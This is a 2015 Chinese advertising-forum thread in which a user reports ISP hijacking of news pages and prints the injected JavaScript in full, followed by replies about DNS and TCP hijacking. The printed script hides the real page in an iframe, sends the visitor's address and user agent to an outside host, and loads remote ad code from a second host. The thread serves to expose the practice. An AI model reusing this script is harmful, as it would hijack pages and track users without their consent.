AdvertCN - 广告中国

 找回密码
 立即注册

QQ登录

只需一步,快速开始

 谷歌+Bing+TT+MSN官方代理 
⚡️按条S5代理⚡️静态⚡️独享⚡️5G⚡️最干净<Wifi住宅+5G移动>IP代理指纹浏览器,就用AdsPower
Mediabuy⚡️玩家开户首选【鲁班跨境通-自助充值转账】FB/GG/TT❤️官方免费开户Affiliate 全媒体流量资源⚡️
Taboola/Outbrain /Bing⚡️一级代理开户投流-7*24h❤️人工在线【官方】❤️搜索套利广告开户独立站⚡️开户投放
DuoPlus专注打造跨境电商云手机E.PN 虚拟卡BINOM TRACKER 60% OFF!比Adplexity还好用的Spy工具
MediaGo+Taboola+Ob开户百度国际MediaGo⚡️让产品狂奔全球百度国际,高点击转化,快速放量百度国际MediaGo,独家原生流量
ADPLEXITY + ADVERTCN7200W全球动态不重复住宅IP代理虚拟信用卡+独立站收款全球虚拟卡, 支持U充值
Facebook 批量上广告尤里改 - FB 稳定投放免费黑五教程(持续更新、欢迎交流)FB 三不限源头 - 自助下户充值转款
各种主页、账单户、BM户(优势)⚡️个人户,bm户不限额,账单户一手BM分享户不限额9Proxy ⚡️ $0.04/IP, 无限带宽
FB二三解0.1元一个虚拟卡|PTM星际卡FB专用虚拟卡Google、Bing官方总代  联盟流量开户
FB账号资源/稳定靠谱/运行5年啦FB开户代投/三不限/白名单广告位出租 
查看: 8029|回复: 12

[闲聊] 上网奇遇记

[复制链接]

44

主题

770

广告币

1422

积分

高级会员

Rank: 4

积分
1422
发表于 2015-2-3 00:52:03 | 显示全部楼层 |阅读模式
本帖最后由 hudba 于 2015-2-3 00:56 编辑
- R4 V+ U0 a" w, ?# V# ?/ p& \& k3 e. L& P+ F$ V
上网易看新闻半天打不开,发现状态栏在现实访问一个奇怪的域名。心里一惊,难道电脑中毒了?赶紧查看源代码,发现后面加了一段js,真正的新闻内容给iframe了
& }9 K9 u, e  K5 H  V2 p$ ^' p0 r9 Q
接下来就是去搜索这个域名,得到v2ex里面也有人遇到这个问题,原来是运营商搞的鬼{:soso_e131:}
9 x( ]4 U& X% {: U8 }& j) [% G
https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8
http://www.v2ex.com/t/142197
6 J1 v; B/ X8 p2 ]' g& A
7 h, ^+ z$ h/ s; x( N
顺便查下ip138:  w" l$ L! K7 s% m# b
! I8 d! s& ^+ o$ W* g$ u
这是那段js里面的代码,好象是个半成品还没写入广告数据:- O$ ?' l8 j1 v- Z  x) l! x
  1. function locationSearch() {
    , t: F( ~! s( j6 g! f1 O
  2.         var s = getMainJs();
    , t- b$ W9 A. X. _
  3.         if (s == null) {# }  V& m; \1 u6 [
  4.                 location.reload();$ U) t  d/ B' G
  5.         }5 K# ^  W- c9 k4 w0 x7 S
  6.         return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);
    * k- T# o# Y3 o$ s2 y
  7. }
    : S: ]' d. W3 w' E

  8. 0 T, e, ?3 a& X6 P! ]* ]
  9. function getParameter(name, paraStr) {
    4 F. \( D! n# c% l+ z' H. e
  10.         var result = "";
    4 V% v% p) L, R
  11.         var str = "&" + paraStr.split("?")[1];
    - y, _4 c7 @* h* q3 h
  12.         var paraName = "&" + name + "=";* V0 q% b4 H: U6 B- \/ f8 f9 H
  13.         if (str.indexOf(paraName) != -1) {5 P+ j5 @! P) ]/ [
  14.                 if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {7 x( V( o! R& F& W+ R( v5 ?
  15.                         var TmpStr = str.substring(str.indexOf(paraName), str.length);
    ! R+ j+ t* ]- s- Q+ g5 K/ M$ g: [
  16.                         result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(6 {: |* Z6 N6 V' l' J3 s( j
  17.                                         1, TmpStr.length).indexOf("&"): U" y+ w8 w: p* x2 }: _* k: m( @
  18.                                         - TmpStr.indexOf(paraName) + 1);
    + l9 H4 x* c2 ~9 U' e" m
  19.                 } else {
    ' Q. Z) c- D" P. A4 p. z2 t7 Z
  20.                         result = str.substring(str.indexOf(paraName), str.length);  T- t1 q. c$ Y
  21.                 }
    : Y, T- N: M: v

  22. # [0 d5 u& A$ B
  23.                 result = result.substring(result.indexOf("=") + 1, result.length);
    3 N( W: b' Y$ x
  24.         } else {
    2 C! Q2 X2 v' G+ D, e# e  S$ g7 s
  25.                 result = "No such parameter";6 K9 p) y  Z1 I' k: a3 q
  26.         }
    8 y4 C- l+ ~: x+ I; j5 l1 [  M- u
  27.         return (result.replace("&", ""));
    ! z( M2 @% _  |# v7 c  D3 l% u
  28. }  B& ~- F1 J0 p- J9 L
  29. & z; z* u7 e* N( O; m3 c- w
  30. function getMainJs() {& m( G# R5 Q2 N& T6 `- g/ P
  31.         var scripts = document.getElementsByTagName("script");
    5 w- H- r' N1 H0 Y2 \8 Z6 i
  32.         var s = null;& k, A; }2 o3 F1 r9 H. E& E8 b+ T
  33.         for (var i = 0; i < scripts.length; i++) {
    + B5 s- H. I6 x" S
  34.                 if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {  D9 \) m' _# J& P, C
  35.                         s = scripts[i];
    % F) K* z& \0 Z' L5 g# e
  36.                         break;- O$ b0 z3 b! E+ q8 ?; W* q5 e6 E# m
  37.                 }
    6 L& R1 z7 N* ]  h: H
  38.         }! K4 L9 o6 a2 Z7 a
  39.         return s;1 |& |" t. B! o6 ?% v0 B- z
  40. }+ L2 A0 j: G, E2 [0 |" M

  41. ; G# u& k; [; q5 K1 i4 f7 o
  42. function appendParam(oStr, aStr) {+ A, e3 r/ ^; E
  43.         if (oStr.indexOf('?') > 0) {* E+ |7 S0 Q2 i$ f
  44.                 oStr = oStr + "&" + aStr;: M3 Z0 m) g8 N$ O- n- q
  45.         } else {
    ( M8 J' ?" u( @/ u& J$ B" P
  46.                 oStr = oStr + "?" + aStr;
    " p6 b: g4 c) B! I9 W5 L
  47.         }
    2 v/ m& m) b5 ^$ v( i2 r* y
  48.         return oStr;
    7 R* k: X% ~6 J' x
  49. }
    , z" O+ o  u9 W: ^) A2 }1 Q
  50.   Y1 m9 j& Z5 Y- z& R9 {: M
  51. window.onerror = function() {
    1 K$ z& I" R8 L5 t
  52. };
    8 I, T) n3 V' \8 o4 G% p; i, W
  53. 4 }9 z5 V) I; o& a& f$ w
  54. var g_titleTime = 0;
    3 b. e  g/ c' V
  55. function setTcTitle() {
    2 C& V! }) I3 r$ ]  h( G# K
  56.         if (undefined == document) {
    3 E' n8 l5 B, g6 _# n, A
  57.                 g_titleTime++;
    - u4 l. e+ ~+ Y7 k6 B9 A
  58.                 setTimeout("setTcTitle();", 1000);1 I$ C1 m  W6 V2 M; c
  59.                 return;; ~, ~! v3 N. i5 ~+ F
  60.         }
      K4 T- q. \) K/ E3 B: k
  61.   J7 m  [) X' I. F* `
  62.         var doc;7 h4 ]  d. w* ~6 X
  63.         try {7 A  t" Y' m3 d8 P
  64.                 if (document.all) {) P3 g2 K8 @! ]8 D# J0 j
  65.                         doc = document.frames["cn"].document;' p# i4 B, C0 @, t9 X
  66.                 } else {
    % @/ j0 f% `+ i4 s8 E
  67.                         doc = document.getElementById("cn").contentDocument;9 \# T) g# n! L: H0 K' t
  68.                 }
    4 O( J2 u. V& b2 _
  69.         } catch (ex) {
    ) x/ s1 Z+ `# W0 Q  |
  70.         }* n1 k! t7 i! w+ c$ d' ^5 X
  71. 5 S% f3 g# w8 |* L* ^  N/ e8 w
  72.         if (g_titleTime < 5
    : r7 D6 @) y: D, [8 }
  73.                         && (undefined == doc || undefined == doc.title || "" == doc.title)) {. J- M4 P5 G9 S: {& n0 H
  74.                 g_titleTime++;
    5 o/ ^" R2 V. T9 t+ {( n5 Y, l
  75.                 setTimeout("setTcTitle();", 1000);
    " t* _1 ^$ u" P- b# v
  76.                 return;# W. v- Z! P0 e4 i/ ^  L
  77.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    ; n3 j! x8 M0 s( b# X$ G
  78.                 document.title = doc.title;
    & S! [/ h5 K! C
  79.                 setTcAdvVisible();& S1 @+ y) v- X1 |/ `
  80.         }
    8 ]2 E$ ~' H  v( }
  81. }+ Y2 {+ b( z0 ]# y4 s, D: f
  82. + W/ J0 \* ^/ L8 Y2 I+ ]
  83. setTimeout("setTcTitle();", 1000);
    : W) l, ^0 P4 y  s

  84. + \. O2 v* ]- _3 q6 e
  85. var g_isHaveVisible = false;
    * G3 o+ z7 l9 Q0 j1 ]+ S9 T& D
  86. function setTcAdvVisible() {$ M& y% z( m# a
  87.         if (undefined != document && undefined != document.getElementById("addiv")" Y( V) j) k- q- V* m" R- n3 H
  88.                         && !g_isHaveVisible) {9 d# V% o" R' d7 M7 j) {3 j; X
  89.                 document.getElementById("addiv").style.visibility = 'visible';
    6 U. |* `; f9 |/ M6 j; Q  B8 Y6 `( J
  90.                 document.getElementById("addiv").style.display = 'block';
    % t: L, G) B8 \+ t- C2 D8 n7 K
  91.                 g_isHaveVisible = true;) d, P- z2 `$ G5 j, V: C% P0 q
  92.         }
    % \9 L& b( {) O! R$ ?2 @
  93. }
    7 F2 t) R+ |8 h8 @- u- _0 C; X8 c8 G

  94. ' b! G# [& j# G
  95. function UrlAnalyzer() {9 X. I( n+ r- ^* \2 v( |
  96.         this.divda = "";
    8 s$ B; s) p% I: q) _
  97.         this.tctype = "";
    * E. `' g; |" R! G! f
  98.         this.radius = "";
    ; \7 t: S+ t, b0 N/ D6 o$ N* |; Q
  99.         this.rlu = "";
    . W3 Y5 S+ @& E) a( T
  100. }
    + ]. L$ b$ Q$ e2 n6 N% W

  101. / r5 O+ u# Q* Z1 w; c4 e, ]
  102. UrlAnalyzer.prototype.initParameters = function() {/ [( }, @/ T6 \3 t" ]
  103.         var paraStr = locationSearch();
    / U+ K  e3 b1 Q( G$ H- K
  104.         this.rlu = getParameter("lruedct", paraStr);
    5 q9 b1 [3 w- G" j0 X7 ]0 P
  105.         this.divda = getParameter("divda", paraStr);) N! g( r& ?/ a, z4 ?
  106.         this.radius = getParameter("radius", paraStr);
    & e4 M3 x; V+ @2 B' R- I$ K
  107.         this.tctype = getParameter("tctype", paraStr);
    ; P" @8 p/ j% c0 W# Q  `
  108.         this.address = getParameter("address", paraStr);
    : }) |/ W7 d6 U7 \5 C6 M, `( j. T0 _
  109.         this.usagent = getParameter("usagent", paraStr);+ W  W3 q" z5 G- B
  110. }
    + O7 Y9 s( L+ \6 y, c% n2 v2 m% \
  111. ) O- Y: f  ?4 X# l9 l/ @2 l8 k
  112. UrlAnalyzer.prototype.getHtmlDoc = function() {
    $ }3 w! r5 e+ `4 N" E5 y
  113.         var doc;2 ]8 P3 g, C; ^' ?
  114.         try {
    + w! g; _" Q9 T' y& f- ?
  115.                 if (document.all) {
    3 N+ i1 N  f5 l
  116.                         doc = document.frames["cn"].document;* o% M1 y3 m+ @, o' [! a

  117. $ t4 \# c9 f  i% w4 |, t( ]
  118.                 } else {  D* [9 g. ^( |# z
  119.                         doc = document.getElementById("cn").contentDocument;
    6 S) B1 C1 b2 y' [- `
  120.                         // doc = document.getElementById("cn").contentWindow.document;
    & e# P9 }; J: ]1 d5 d3 p
  121.                 }
    " _. \. W2 E0 {3 {9 J5 D
  122.         } catch (ex) {
    ( F; v% B! v* |& w
  123.         }
    ; q! r2 y: g- p0 i
  124.         return doc;: G6 G; }, ?6 y/ z) k7 s8 L
  125. }5 z* _1 e& L( R* R" |) M
  126. " n* |' z5 b" I  f+ ~" J
  127. UrlAnalyzer.prototype.setDomain = function() {3 k2 {5 h  T+ Y
  128.         if (undefined != document.title && "" == document.title)
    ( u! X  z  Y. l2 a" d
  129.         {  S) J, o0 y/ Y8 Q
  130.                 var index = document.domain.indexOf(".");5 v1 L2 u  v1 J; ?/ T1 h! T! S3 D
  131.                 if (undefined != index && -1 != index) {) M/ K/ n  L1 w" P2 @. b+ f
  132.                         document.domain = document.domain.substring(index + 1,
    6 g/ T. g# F+ z+ X6 |
  133.                                         document.domain.length);
    3 {( K6 T! y4 a' ~- z% o. n
  134.                 }& X  K) o0 L" o: L+ R2 p. w9 Z( t4 U) E
  135.                
    ' [3 z8 S' P/ G6 y: _3 x
  136.                 var doc = this.getHtmlDoc();! f  M6 r: y% c5 o! C
  137.                 if (undefined != doc && undefined != doc.title && "" != doc.title) {( j6 ~; Q/ [$ E  |  J; [+ Q
  138.                         document.title = doc.title;
    & v6 L4 @4 k+ Z- [" n
  139.                         setTcAdvVisible();
    1 ]6 x6 _, L1 w7 G
  140.                 }
    3 d2 T: |* {3 P7 b% v
  141.         }
    1 L; v0 t" W$ J+ v# ^
  142. }3 L! ^2 u5 h; a' \! j. A0 U
  143. & X# ?) \; y  d2 n% n  |* Y0 l! n
  144. UrlAnalyzer.prototype.iframeCallback = function() {- ^6 ^( c, K4 Y; S8 Z$ \
  145.         var doc = this.getHtmlDoc();
    - x% {$ o: y0 F0 v, F
  146.         if (undefined == doc || undefined == doc.title || "" == doc.title) {
    # u7 G5 x8 V. r: a3 n& O# y
  147.                 if (undefined != document.domain) {9 R+ `: G$ W$ S1 l
  148. ; _" t# u) C4 T8 q* L, C7 j" G1 Z& p
  149.                         var self = this;8 b4 u2 {+ _  q5 ?* p# ~' b
  150.                         setTimeout(function(){self.setDomain.call(self, null)}, 1000);
    * Z  q* @* |# U  m3 ~( X4 h9 @
  151.                         // var index = document.domain.indexOf(".");& Z. p4 B' k: u* E% C8 B. E
  152.                         // if (undefined != index && -1 != index) {) z+ c. L4 z+ @, X5 c, [  d7 A! x# |+ H
  153.                         // document.domain = document.domain.substring(index + 1,
    " K$ V4 \4 w) X5 I7 R+ C# |
  154.                         // document.domain.length);
    ) ?) l+ k+ X' \6 ]& |$ [; ?
  155.                         // }
    5 q& l6 O7 i) l* [6 W4 N. w
  156.                         //
    5 \' S) u/ ^2 Z' i) m: s
  157.                         // var doc = this.getHtmlDoc();
    6 [4 E- }' y; ]* c" P, l
  158.                         // if (undefined != doc && undefined != doc.title && "" !=- j+ x, H. v1 L# t  b7 ^
  159.                         // doc.title) {
    ) o% v5 s0 B$ Q0 V
  160.                         // document.title = doc.title;- v" U8 X, ]! x5 c- z
  161.                         // setTcAdvVisible();  \+ e3 i8 i: ^5 ^; g1 ]
  162.                         // }% B; k/ @; m$ |0 A3 F" j# o
  163.                 }
    5 s) m  @! T$ v) f5 n' {
  164.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {; _; u7 r3 T: x  r4 J
  165.                 document.title = doc.title;, K9 A7 l9 c" A& o$ p
  166.                 setTcAdvVisible();% ~3 O2 H+ T" v4 s0 E; g! F
  167.         }
    0 {$ o! J7 L4 p  Y( `( X
  168. }
    ; K2 B* m: X! ~: [" j" z- [) C
  169. 8 C- _5 E4 Q. g* b! c# [3 p. Q1 w& {2 ~
  170. UrlAnalyzer.prototype.executeHtmlContext = function() {  [$ j+ E; V7 \# q' b( U
  171.         var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda
    $ D, N6 x" A" I. p
  172.                         + "&rd=" + this.radius + "&tctype=" + this.divda  + "&address=" + this.address  + "&usagent=" + this.usagent;& S  v1 `4 r. D$ j
  173. ! T4 K6 Q; [$ ^6 _0 G
  174.         var htmlStr = "<iframe src="" + staUrl
    3 R7 v, h, ~! Y1 v% g/ V
  175.                         + "" style="display:none"></iframe>";
    3 \* j+ Z0 M; n/ B; Z

  176. $ i! ?" \% L  i' p, \# U
  177.         var advUrl = htmlStr, e) h. w5 y& ?7 H2 c* n
  178.                         + "<script src="http://c2.sxite.com:8060/center?advId="! ~6 a/ c/ B2 Z: U. _: r% d
  179.                         + this.divda + "&radius=" + this.radius  + "&area=1" + ""><\/script>";
    # B) r* P$ o0 a4 ?- ?5 P
  180.         document.write(advUrl);
    2 s5 w, x  M1 W& c* d& ~
  181. + A5 `1 R3 V' S! _5 U7 n- m5 |1 w
  182.         var self = this;) A& t. s- ]. F3 B2 t( k
  183.         var iframe = document.getElementById("cn");9 p9 w$ f1 t5 {! Q- \
  184.         if (iframe.attachEvent) {9 `, A! e5 V- ~3 L& C
  185.                 iframe.attachEvent("onload", function() {
    2 |# J( U1 J6 r! h4 d
  186.                         self.iframeCallback.call(self, null);
    2 ?9 O  Y/ z' _, K/ g5 x
  187.                 });
    5 Q- z7 W" G5 ]7 k5 W# `" Q+ \
  188.         } else {6 d% i0 u& r/ b9 N- Z" W
  189.                 iframe.onload = function() {! R- y7 s  O3 J
  190.                         self.iframeCallback.call(self, null);$ |2 @4 b$ c2 p( n" y
  191.                 }( K8 E  g# z  w' W5 M
  192.         }9 I  h/ k# o6 B) e; ^
  193. }
    % d% N/ T- N5 y
  194. $ K" v2 [1 l, H# W1 e# O8 }9 z" R
  195. UrlAnalyzer.prototype.executeMain = function() {
    . ?% W) q+ r$ z8 s
  196.         var mainFrame = document.getElementById("cn");3 \' w5 X) [. v7 ]2 Z1 x6 p4 L
  197.         mainFrame.contentWindow.location.href = mainFrame.src;2 r. p& w7 u% S
  198.         this.initParameters();6 m) q% K0 v1 i! m- ]
  199.         this.executeHtmlContext();( t6 x: x+ {, \! Q6 d0 M* G% }
  200. }9 w8 M4 Y5 S: l+ a, B+ V
  201. % y7 ^# U! ?4 }/ C' }
  202. var g_analyzer = new UrlAnalyzer();0 J3 j2 w* i6 ]4 a: t
  203. g_analyzer.executeMain();+ P% r; Y7 v9 r8 ]( ^
复制代码
8 g) L- {" Q$ ]0 C5 j! x

' S- \# A/ `. }/ C
/ X" A- p9 ]0 b" i4 p+ W. o

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
相关帖子
回复

使用道具 举报

26

主题

836

广告币

1784

积分

高级会员

Rank: 4

积分
1784
发表于 2015-2-3 01:33:54 | 显示全部楼层
回复 支持 反对

使用道具 举报

51

主题

449

广告币

835

积分

中级会员

Rank: 3Rank: 3

积分
835
发表于 2015-2-3 04:58:09 | 显示全部楼层
我在想有没有大牛会去干电信那个网页,那就发啦。哈哈
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2015-2-3 09:49:12 | 显示全部楼层
所以从不使用运行商的dns,http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错

点评

TCP劫持,换DNS也不管用的。  详情 回复 发表于 2015-2-3 21:26
回复 支持 反对

使用道具 举报

26

主题

346

广告币

593

积分

中级会员

Rank: 3Rank: 3

积分
593
发表于 2015-2-3 09:49:33 | 显示全部楼层
法制不健全,没法。我这里也有电信绑架的问题,但你没辙,要国外,早赔的只剩内裤了。
回复 支持 反对

使用道具 举报

22

主题

1637

广告币

1951

积分

高级会员

Rank: 4

积分
1951
发表于 2015-2-3 13:12:15 | 显示全部楼层
电信DNS劫持不是一天两天了。国家垄断企业,没人能管”。。。
回复 支持 反对

使用道具 举报

1

主题

69

广告币

497

积分

中级会员

Rank: 3Rank: 3

积分
497
发表于 2015-2-3 14:24:00 | 显示全部楼层
我这段时间也遇到了,投诉了两次,这几天没出现了,再出现继续投诉
回复 支持 反对

使用道具 举报

26

主题

836

广告币

1784

积分

高级会员

Rank: 4

积分
1784
发表于 2015-2-3 21:26:11 | 显示全部楼层
阿百川 发表于 2015-2-3 09:490 e0 v0 v2 [$ j, P% K
所以从不使用运行商的dns,http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错 ...
7 _+ d0 i" }0 j5 b/ S2 X, f) b
TCP劫持,换DNS也不管用的。

点评

正解。  发表于 2015-2-3 21:43
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2015-2-4 07:36:43 | 显示全部楼层
ads419 发表于 2015-2-3 21:26
! O$ v7 F. Y) R9 j( F; }  t9 ]6 DTCP劫持,换DNS也不管用的。

! v: D9 ~) o4 K幸好联通还木有这么强的技术

点评

联通也一样,各地不同罢了。  发表于 2015-2-4 10:07
回复 支持 反对

使用道具 举报

12

主题

915

广告币

1212

积分

高级会员

Rank: 4

积分
1212

社区QQ达人

发表于 2015-2-4 20:47:04 | 显示全部楼层
在国内,习惯就好
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关于我们|联系我们|DMCA|广告服务|小黑屋|手机版|Archiver|Github|网站地图|AdvertCN

GMT+8, 2024-11-15 08:59 , Processed in 0.048924 second(s), 15 queries , Gzip On, MemCache On.

Copyright © 2001-2023, AdvertCN

Proudly Operating in Hong Kong.

快速回复 返回顶部 返回列表